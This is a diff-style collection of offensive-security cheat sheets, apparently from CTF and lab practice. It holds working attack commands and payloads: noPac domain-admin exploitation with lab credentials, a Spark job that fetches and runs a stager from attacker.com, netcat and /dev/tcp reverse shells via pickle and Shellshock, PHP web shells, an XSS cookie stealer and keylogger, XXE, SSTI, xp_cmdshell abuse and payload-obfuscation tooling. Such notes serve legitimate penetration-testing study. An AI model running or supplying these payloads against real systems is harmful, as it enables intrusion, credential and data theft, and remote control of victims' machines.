- `cme smb scope.txt --gen-relay-list relay.txt`
|
||||
- Basic NTLM Relay
|
||||
- `impacket-ntlmrelayx -t <target> -smb2support`
|
||||
- With targets file
|
||||
- `impacket-ntlmrelayx -tf relay.txt -smb2support`
|
||||
|
||||
- NTLM Relay to AD CS HTTP Endpoints - see ADCS section
|
||||
@@ -0,0 +1,114 @@
|
||||
# attacking machines with noPac exploit #
|
||||
# logic
|
||||
spoof a workstation account to request a ticket for a domain admin with no pack
|
||||
* pack is the part of a ticket that contains user information
|
||||
|
||||
(Pac = "Privileged Attribute Certificate")
|
||||
|
||||
% if vuln able to impersonate a admin a DCSYNC the target
|
||||
|
||||
% only need a set of valid domain creds to sploit
|
||||
|
||||
-----------------------------------------------------------------------------------
|
||||
# setup
|
||||
|
||||
% exploit code
|
||||
git clone https://github.com/WazeHell/sam-the-admin.git
|
||||
|
||||
{%%} performing the noPac attack (THM: RazorBlack)
|
||||
|
||||
sudo python3 sam_the_admin.py -dc-ip <rhost-ip> <domain-name>/<username>:<password>
|
||||
sudo python3 sam_the_admin.py -dc-ip 10.10.152.25 raz0rblack.thm/twilliams:roastpotatoes
|
||||
|
||||
* make sure you include tne netbios/hostname of the box for the highest priv user
|
||||
proxychains python3 sam_the_admin.py -dc-ip 10.200.151.30 -dc-host DC-SRV01 holo.live/watamet:Nothingtoworry!
|
||||
|
||||
% get a shell with the impacket-smb command or a other like wmiexec, psexec, etc
|
||||
|
||||
KRB5CCNAME='Administrator.ccache' /usr/bin/impacket-wmiexec -k -no-pass raz0rblack.thm/twilliams:roastpotatoes@10.10.152.25
|
||||
|
||||
* needs to be modified because of the extra domain
|
||||
|
||||
KRB5CCNAME='Administrator.ccache' /usr/bin/impacket-wmiexec -k -no-pass raz0rblack.thm/twilliams:roastpotatoes@10.10.152.25
|
||||
|
||||
KRB5CCNAME='Administrator.ccache' /usr/bin/impacket-wmiexec -k -no-pass -dc-ip 10.10.152.25 raz0rblack.thm/twilliams:roastpotatoes@haven-dc.raz0rblack.thm
|
||||
KRB5CCNAME='Administrator.ccache' /usr/bin/impacket-wmiexec -k -no-pass raz0rblack.thm/twilliams:roastpotatoes@haven-dc.raz0rblack.thm
|
||||
|
||||
{what worked for me after adding the netbios hostname and domain name to the /etc/hosts file}
|
||||
|
||||
KRB5CCNAME='Administrator.ccache' /usr/bin/impacket-wmiexec -dc-ip 10.10.21.231 -k -no-pass raz0rblack.thm/Administrator@haven-dc.raz0rblack.thm
|
||||
|
||||
=-=-=-=-=-=-=-=------------=-=-=-=-=-=-=-=-=-=
|
||||
% if it fails
|
||||
|
||||
1. attempt a time sync
|
||||
sudo apt install ntpdate -y
|
||||
|
||||
sudo ntpdate <rhost-ip>
|
||||
sudo ntpdate 10.10.152.25
|
||||
|
||||
---------------------------------------------------------------------------------------------
|
||||
# clean up after the fact (just delete the user that was created to impersonate administrator
|
||||
% account creaated
|
||||
SAMTHEADMIN-39$:CxP)O@kQyHqW
|
||||
|
||||
% how to figure out that account is still there
|
||||
1. rid-cycling
|
||||
|
||||
crackmapexec smb 10.10.85.161 -u twilliams -p roastpotatoes --rid-brute
|
||||
|
||||
% how to remove account //{!}\\ by using impacket (addcomputer.py) to remove the machine account
|
||||
|
||||
impacket-addcomputer -dc-ip 10.10.104.115 -computer-name 'SAMTHEADMIN-55$' -dc-host HAVEN-DC -domain-netbios raz0rblack.thm 'raz0rblack.thm/oreo:P@ssw0rd' -delete
|
||||
|
||||
{/!\} check to make sure the ticket still works after the account SAMTHEADMIN account has been removed
|
||||
KRB5CCNAME='Administrator.ccache' /usr/bin/impacket-wmiexec -dc-ip 10.10.104.115 -k -no-pass raz0rblack.thm/Administrator@haven-dc.raz0rblack.thm
|
||||
|
||||
* yes still works pog
|
||||
|
||||
---------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
# 0r just use Alh4zr3d version which auto deletes it
|
||||
git clone https://github.com/Alh4zr3d/sam-the-admin.git
|
||||
|
||||
proxychains python3 sam_the_admin.py -dc-ip 10.200.151.30 holo.live/watamet:Nothingtoworry!
|
||||
proxychains python3 sam_the_admin.py -dc-ip 10.200.151.30 -dc-host DC-SRV01 holo.live/watamet:Nothingtoworry!
|
||||
|
||||
export KRB5CCNAME='a-fubukis.ccache'
|
||||
proxychains impacket-wmiexec -dc-ip 10.200.151.30 -k -no-pass holo.live/a-fubukis@10.200.151.30
|
||||
|
||||
{!} problems with same the admin
|
||||
* some networks return this authentication error
|
||||
[-] Kerberos SessionError: KDC_ERR_PREAUTH_FAILED(Pre-authentication information was invalid)
|
||||
|
||||
* since you can't select what user to impersonate
|
||||
there is a change that the ticket you get is for a user who may not be able to authenticate
|
||||
|
||||
---------------------------\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\================================-----------------------
|
||||
# or a more automated version of noPac from this repo ;'..;' https://github.com/Ridter/noPac.git
|
||||
git clone https://github.com/Ridter/noPac.git
|
||||
|
||||
% how use it (defaults)
|
||||
{auto shell}
|
||||
python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203 -dc-host lab2012 -shell --impersonate administrator
|
||||
|
||||
proxychains python3 noPac.py -use-ldap holo.live/watamet:Nothingtoworry! -dc-ip 10.200.151.30 -dc-host DC-SRV01 -shell --impersonate administrator
|
||||
proxychains python3 noPac.py holo.live/watamet:Nothingtoworry! -dc-ip 10.200.151.30 -dc-host DC-SRV01 -shell --impersonate administrator
|
||||
|
||||
% example from the holo network noPac attempt
|
||||
python3 noPac.py -use-ldap -dc-ip <IP> <DOMAIN>/<USER>:<PASS> --impersonate administrator -dump
|
||||
|
||||
1. domain into
|
||||
[*] Windows 10.0 Build 17763 x64 (name:DC-SRV01) (domain:holo.live) (signing:False) (SMBv1:False)
|
||||
watamet:Nothingtoworry!
|
||||
|
||||
2. perform the attack over socks proxy
|
||||
proxychians python3 noPac.py -use-ldap -dc-ip <IP> <DOMAIN>/<USER>:<PASS> --impersonate administrator -dump
|
||||
proxychains python3 noPac.py -use-ldap -dc-ip 10.200.151.30 holo.live/watamet:Nothingtoworry! --impersonate administrator -dump
|
||||
|
||||
-use-ldap ("used when the server is running it's service with ssl")
|
||||
|
||||
3. psexec in
|
||||
proxychains impacket-wmiexec holo.live/Administrator@10.200.151.30 -hashes ae19656e1067231cb5e3c5dcea320bba:ae19656e1067231cb5e3c5dcea320bba
|
||||
|
||||
0r
|
||||
use the ticket it creates with a method above
|
||||
@@ -0,0 +1,23 @@
|
||||
- Malicious Spark application - initializing Spark context
|
||||
```Python
|
||||
from pyspark import SparkContext, SparkConf
|
||||
# Set up configuration options
|
||||
conf = SparkConf()
|
||||
conf = conf.setAppName("Word Count")
|
||||
# Add the IP of the Spark master
|
||||
conf = conf.setMaster("spark://<master_IP>:7077")
|
||||
# Add the IP of the Jenkins worker we are currently on
|
||||
conf = conf.set("spark.driver.host", "<worker_IP>")
|
||||
# Initialize the Spark context with the necessary info to reach the master
|
||||
sc = SparkContext(conf = conf)
|
||||
partList = sc.parallelize(range(0, 1))
|
||||
finalList = partList.map(
|
||||
lambda x: subprocess.Popen(
|
||||
"wget https://attacker.com/stager && chmod +x ./stager && ./stager &",
|
||||
shell=True,
|
||||
preexec_fn=os.setpgrp,
|
||||
)
|
||||
)
|
||||
finalList.collect()
|
||||
time.sleep(10)
|
||||
```
|
||||
@@ -0,0 +1,22 @@
|
||||
- Machine registration
|
||||
1. Create `client.rb` and `validation.pem`
|
||||
- The former defines variables Chef needs to set up a new machine and the latter is the `chef-validator` private key
|
||||
2. `apt update && apt install -y chef`
|
||||
3. `chef-client`
|
||||
4. `ls /etc/chef`
|
||||
- Configure the `knife` utility
|
||||
- `~/.chef/knife.rb`
|
||||
```Ruby
|
||||
node_name 'aws-node-78ec.eu-west-1.compute.internal'
|
||||
client_key '/etc/chef/client.pem'
|
||||
chef_server_url 'https://chef.mxrads.net/organizations/mxrads'
|
||||
knife[:editor] = '/usr/bin/vim'
|
||||
```
|
||||
|
||||
- Explore Chef cookbooks
|
||||
- List
|
||||
- `knife cookbooks list`
|
||||
- Display cookbook version history
|
||||
- `knife cookbooks show <cookbook_name>`
|
||||
- Display specific cookbook
|
||||
- `knife cookbooks show <cookbook_name> <version>`
|
||||
@@ -0,0 +1,6 @@
|
||||
- Get a list of indices
|
||||
- `curl "<IP>:9200/_cat/indices?v"`
|
||||
- Extract last bit of data from given index
|
||||
- `curl "<IP>:9200/<index_name>>/_search?pretty&size=4"`
|
||||
- Search for keywords in index
|
||||
- `curl "<IP>:9200/<index_name>/_search?pretty&size=12&q=message:<search_string>"`
|
||||
@@ -0,0 +1,25 @@
|
||||
- PowerUpSQL
|
||||
- `powershell Get-SQLServerLinkCrawl -Instance 'sql-1.cyberbotic.io,1433'`
|
||||
- `powershell Get-SQLServerLinkCrawl -Instance 'sql-1.cyberbotic.io,1433' -Query 'select @@version' | select Instance, CustomQuery | % { $_ | Add-Member NoteProperty 'QueryResult' $($_.CustomQuery[0]); $_ } | fl`
|
||||
- Queries:
|
||||
- `SELECT @@version`
|
||||
- `SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell'`
|
||||
- `EXEC xp_cmxp_cmdshell dshell 'dir C:\'`
|
||||
- List databases
|
||||
- `SELECT name,database_id,create_date from sys.databases`
|
||||
- List db admins
|
||||
- `SELECT name,type_desc,is_disabled,create_date FROM master.sys.server_principals WHERE IS_SRVROLEMEMBER ('sysadmin',name) = 1 ORDER BY name`
|
||||
- Enable xp_cmdshell:
|
||||
- `sp_configure 'Show Advanced Options', 1; RECONFIGURE;`
|
||||
- `sp_configure 'xp_cmdshell', 1; RECONFIGURE`
|
||||
- Use xp_dirtree (with Responder)
|
||||
- `EXEC master.sys.xp_dirtree '\\10.10.14.12\CTHULHUFHTAGN',1,1`
|
||||
- Discover linked databases:
|
||||
- `SELECT * FROM master..sysservers`
|
||||
- Execute queries on linked databases:
|
||||
- `SELECT * FROM OPENQUERY("SQL02.DEV.ZEROPOINTSECURITY.CO.UK", 'select * FROM master..sysservers')`
|
||||
- `EXEC('xp_cmdshell "dir C:\"') AT [sql02.dev.zeropointsecurity.co.uk]`
|
||||
- `SELECT * FROM OPENQUERY("sql02.dev.zeropointsecurity.co.uk", 'select * from sys.configurations where name = ''xp_cmdshell''')`
|
||||
- `SELECT * FROM OPENQUERY("sql02.dev.zeropointsecurity.co.uk", 'select @@servername; exec xp_cmdshell ''whoami''')`
|
||||
- Search for specific keywords in databases and format results into table
|
||||
- `Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded | ? { $_.Status -eq 'Accessible' } | Get-SQLColumnSampleDataThreaded -SampleSize 5 -Keywords 'student,name' -NoDefaults | select instance, database, column, sample | ft -autosize`
|
||||
@@ -0,0 +1,2 @@
|
||||
- Get tables and columns
|
||||
- `psql -h <host> -U root -d <db_name> -p 543-c "SELECT tablename, columnname FROM PG_TABLE_DEF where schemaname ='public'"`
|
||||
@@ -0,0 +1,6 @@
|
||||
- List all keys in the database
|
||||
- `redis -h <IP> --scan *`
|
||||
- Get value of a given key
|
||||
- `redis -h <IP> get <key_name>`
|
||||
- Set value of a given key
|
||||
- `redis -h 10.59.12.47 set <key> <value>`
|
||||
@@ -0,0 +1,23 @@
|
||||
- Donut
|
||||
- `EXCELntDonut -f CSRunner.cs --sandbox --obfuscate`
|
||||
- Convert EXE (such as from Scarecrow) into PIC shellcode)
|
||||
- `./donut -a 2 -f 7 -o donut\_payload.bin cmd.exe`
|
||||
- BananaPhone
|
||||
- Generate 64-bit C# stager in Cobalt Strike
|
||||
- `cd BananaPhone/example/hideexample/banana`
|
||||
- `go generate .`
|
||||
- Copy byte array from stager into main.go
|
||||
- `env GOOS=windows GOARCH=amd64 go build -ldflags -H=windowsgui`
|
||||
- Scarecrow
|
||||
- JavaScript
|
||||
- `./ScareCrow -I beacon.bin -Loader control -O access.js -domain test.com`
|
||||
- EXE
|
||||
- `./ScareCrow -I payload64.bin -Loader binary -domain acme.com`
|
||||
- xeca
|
||||
- Save Powershell payload as a .ps1 file
|
||||
- `xeca powershell --payload cthulhu.ps1 --url http://attacker.ip
|
||||
- Execute "launch.txt", will call back to attacker for encryption key
|
||||
- Limelighter
|
||||
- Tiki Torch
|
||||
- CactusTorch
|
||||
- Sharpshooter
|
||||
@@ -0,0 +1,11 @@
|
||||
- Break MS Word parent-child releationship
|
||||
```VBScript
|
||||
Dim proc As Object
|
||||
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
|
||||
proc.Create "powershell"
|
||||
```
|
||||
|
||||
- Embedding hidden iframe in phishing page
|
||||
```HTML
|
||||
<iframe src="<URI/URL>" width="0" height="0" frameborder="0" tabindex="-1" title="empty" style=visibility:hidden;display:none"> </iframe>
|
||||
```
|
||||
@@ -0,0 +1,5 @@
|
||||
- Potatoes
|
||||
- Rogue Potato
|
||||
- `.\RoguePotato.exe -r <attacker IP> -e "cmd.exe /c powershell -enc <base64 encoded powershell> -l 9999`
|
||||
- Might have to look up a CLSID and add a `-c “{<CLSID>}"`
|
||||
- https://github.com/CCob/SweetPotato
|
||||
@@ -0,0 +1,13 @@
|
||||
- Python
|
||||
```Python
|
||||
import pickle
|
||||
import sys
|
||||
import base64
|
||||
command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | ' '/bin/sh -i 2>&1 | netcat **10.10.10.10 4444** > /tmp/f'
|
||||
class rce(object):
|
||||
def __reduce__(self):
|
||||
import os
|
||||
return (os.system,(command,))
|
||||
print(base64.b64encode(pickle.dumps(rce())))
|
||||
```
|
||||
|
||||
@@ -0,0 +1,5 @@
|
||||
- WFuzz
|
||||
- Fuzz POST params with file wordlist, colors, and hiding 0-word responses
|
||||
- `wfuzz -c -z file,date-wordlist.txt -d "date=FUZZ" --hw 0 -u http://10.10.62.67/api/site-log.php`
|
||||
- Fuzz subdomains via host header
|
||||
- `wfuzz -c -f sub-fighter -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u 'http://rocket.thm' -H "Host: FUZZ.rocket.thm" --hw 28`
|
||||
@@ -0,0 +1,11 @@
|
||||
- Injection vulnerability omnibuses
|
||||
```
|
||||
dddd",'|&$;:`({{@<%=ddd
|
||||
```
|
||||
|
||||
- Shellshock
|
||||
- `curl -x TARGETADDRESS -H "User-Agent: () { ignored;};/bin/bash -i >& /dev/tcp/HOSTIP/1234 0>&1" TARGETADDRESS/cgi-bin/status`
|
||||
- `curl -x 192.168.28.167:PORT -H "User-Agent: () { ignored;};/bin/bash -i >& /dev/tcp/192.168.28.169/1234 0>&1" 192.168.28.167/cgi-bin/status`
|
||||
- `ssh username@IPADDRESS '() { :;}; /bin/bash'`
|
||||
- RCE where no spaces are allowed (python required)
|
||||
- `python3$IFS-c'print(b"wget\x20http://my-malware".decode())'|bash`
|
||||
@@ -0,0 +1,17 @@
|
||||
- Web shell:
|
||||
- `<?php echo “Cthulhu fhtagn!”; system($_REQUEST['boop']); ?>`
|
||||
- Get first handful of bytes from JPG or GIF for use as magic bytes:
|
||||
- `head -c 20 <any image file> > magicbytes`
|
||||
- `cat magicbytes shell.php > magical-shell.php`
|
||||
- Upload reverse shell via PHP code execution:
|
||||
- `<?php file_put_contents('shell.php', file_get_contents('http://<attacker IP>/shell.php')); ?>`
|
||||
- `curl -A "<?php file_put_contents('shell.php', file_get_contents('http:/<attacker ip>/shell.php')); ?>" -s http://<target>`
|
||||
- Filters
|
||||
- `http://10.10.40.31/?view=php://filter/read=convert.base64-encode/resource=./dog/../index`
|
||||
- RCE - [Filter Chain Generation Tool](https://github.com/synacktiv/php_filter_chain_generator)
|
||||
- `<?= exec($_GET[0]); ?>`
|
||||
```
|
||||
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/var/www/html/development_testing/mrrobot.php&0=id
|
||||
```
|
||||
|
||||
|
||||
@@ -0,0 +1,18 @@
|
||||
- SQLMap
|
||||
- Crawl scan
|
||||
- `sqlmap -u http://meh.com --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3`
|
||||
- `sqlmap -u http://INSERTIPADDRESS --dbms=mysql --crawl=3`
|
||||
- Targetted scan
|
||||
- `sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE --level=3 --current-user --current-db --passwords --file-read="/var/www/blah.php"`
|
||||
- Scan url for union + error based injection with mysql backend and use a random user agent + database dump
|
||||
- `sqlmap -u "http://meh.com/meh.php?id=1" --dbms=mysql --tech=U --random-agent --dump`
|
||||
- Check form for inj
|
||||
- `sqlmap -o -u "http://meh.com/form/" –forms`
|
||||
- Dump and crack hashes for table "users" on "database-name"
|
||||
- `sqlmap -o -u "http://meh/vuln-form" --forms -D database-name -T users –dump`
|
||||
- Flush session
|
||||
- `sqlmap --flush session`
|
||||
- Exploit "user" field using boolean technique
|
||||
- `sqlmap -p user --technique=B`
|
||||
- Test specific request saved using Burp
|
||||
- `sqlmap -r <captured request>`
|
||||
@@ -0,0 +1,14 @@
|
||||
- Flowchart to fingerprint underlying templating engine through successive payloads
|
||||
![[Pasted image 20230906000448.png|center]]
|
||||
|
||||
- Jinja2
|
||||
- Get information about Python environment
|
||||
- `{{request.environ}}`
|
||||
- Regress to base `object` class
|
||||
- `{{request.__class__.__base__.__base__}}`
|
||||
- List all loaded top classes
|
||||
1. `{{request.__class__.__base__.__base__.__subclasses__()}}`
|
||||
2. Note interesting top classes, such as `os.system` and `subprocess.Popen`
|
||||
3. Determine their count for the following
|
||||
- Call `subprocess.Popen` to execute commands ("env" in this case)
|
||||
- `{{request.__class__.__base__.__base__.__subclasses__()[282]("env",shell=True,stdout=-1).communicate()[0]}}`
|
||||
@@ -0,0 +1,34 @@
|
||||
- Various XSS payloads
|
||||
- `<img src='LINK' onmouseover="alert('xss')">`
|
||||
- `<img src=x onerror=alert(1)>`
|
||||
- `<img \x00src=x onerror="alert(1)">` - Possible filter bypass
|
||||
- `<object data=javascript:alert(1)>`
|
||||
- `<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>`
|
||||
- `<image src="javascript:alert(1)">`
|
||||
- `<body oninput=javascript:alert(1)><input autofocus>`
|
||||
- Cookie Theft
|
||||
- `<script>document.location='http://ip:port/?='+document.cookie;</script>`
|
||||
|
||||
- Keylogger
|
||||
```HTML
|
||||
<script>
|
||||
var keys='';
|
||||
document.onkeypress = function(e) {
|
||||
get = window.event?event:e;
|
||||
key = get.keyCode?get.keyCode:get.charCode;
|
||||
key = String.fromCharCode(key);
|
||||
keys+=key;
|
||||
}
|
||||
window.setInterval(function(){
|
||||
new Image().src = 'http**s**://**attackerAddress**/**kl**.php?c='+keys;
|
||||
keys = '';
|
||||
}, 1000);
|
||||
</script>
|
||||
```
|
||||
|
||||
- HTML encoding
|
||||
- < encoded to <
|
||||
- > encoded to >
|
||||
- ‘ encoded to '
|
||||
- “ encoded to "
|
||||
- & encoded to &
|
||||
@@ -0,0 +1,6 @@
|
||||
- Basic
|
||||
```XML
|
||||
<?xml version="1.0"?> <!DOCTYPE root [<!ENTITY read SYSTEM 'file:///etc/passwd'>]> <root>&read;</root>
|
||||
```
|
||||
|
||||
-
|
||||
@@ -0,0 +1,18 @@
|
||||
- Generate all hex characters for testing bad chars:
|
||||
```Python
|
||||
import sys
|
||||
for x in range(1,256):
|
||||
sys.stdout.write("\\x" + '{:02x}'.format(x))
|
||||
```
|
||||
|
||||
- List of all hex chars:
|
||||
```Python
|
||||
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
|
||||
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
|
||||
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
|
||||
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
|
||||
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
|
||||
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
|
||||
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
|
||||
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
|
||||
```
|
||||
@@ -0,0 +1,121 @@
|
||||
- Help
|
||||
- `!mona help assemble`
|
||||
- manual : https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/
|
||||
- Update Mona
|
||||
- `!mona update`
|
||||
- Switch between stable and trunk release:
|
||||
- `!mona update -t release`
|
||||
- `!mona update -t trunk`
|
||||
- Configure working folder
|
||||
- `!mona config -set workingfolder c:\mona%p`
|
||||
- Global options
|
||||
- `-o` - ignore OS module from search operations.
|
||||
- `-m` - specify the modules to perform the search operation on (ex: -m "gtk*,*win*,shell32.dll")
|
||||
- `-m *` searches all modules
|
||||
- `-cm` - set criteria (c) a module (m) should comply with to get included in search operations.
|
||||
- Available:
|
||||
- aslr
|
||||
- rebase
|
||||
- safeseh
|
||||
- nx
|
||||
- os
|
||||
- Example of including aslr and rebase modules, but excluding safeseh modules:
|
||||
- `-cm aslr=true,rebase=true,safeseh=false`
|
||||
- `-cp` - specify what criteria (c) a pointer (p) should match.
|
||||
- Available:
|
||||
- unicode (also includes unicode transforms)
|
||||
- ascii
|
||||
- asciiprint
|
||||
- upper
|
||||
- lower
|
||||
- uppernum
|
||||
- lowernum
|
||||
- numeric
|
||||
- alphanum
|
||||
- nonull
|
||||
- startswithnull
|
||||
- Example : only show pointers that contain ascii printable bytes
|
||||
- `-cp asciiprint`
|
||||
- Example : only show pointers that don’t contain null bytes
|
||||
- `-cp nonull`
|
||||
- `-cpb` - specify bad characters for pointers, so pointers containing them are skipped
|
||||
- Example with null byte, carriage return, and line feet:
|
||||
- `-cpb '\x00\x0a\x0d'`
|
||||
|
||||
- Analyze crash
|
||||
- `!mona findmsp`
|
||||
- Locate EIP - pattern_create / pattern_offset :
|
||||
- `!mona pattern_create 5000`
|
||||
- `!mona pattern_offset <EIP_VALUE>`
|
||||
- Get value on stack (ascii):
|
||||
- `!mona pattern_offset 5Ai6`
|
||||
|
||||
- Find bad characters:
|
||||
- 1 - generate array of all possible characters:
|
||||
- `!mona bytearray -cpb "\x00"`
|
||||
- 2 - Put array of all hex chars into overflow
|
||||
- 3 - run the program until EIP gets overwritten. Then enter the following (0012FD6C is the address of first byte of the badchars array):
|
||||
- `!mona compare -f C:\mona\<app>\bytearray.bin -a 0012FD6C`
|
||||
- 4 - mona gives 1 or multiple badchars. Remove these badchars from array.
|
||||
- 5 - repeat above until all bad chars are removed
|
||||
- Example:
|
||||
- `!mona bytearray -cpb "\x00\x09"`
|
||||
- `!mona compare -f C:\mona\<app>\bytearray.bin -a 0012FD6C`
|
||||
- `!mona bytearray -cpb "\x00\x09\x0a"`
|
||||
- `!mona compare -f C:\mona\<app>\bytearray.bin -a 0012FD6C`
|
||||
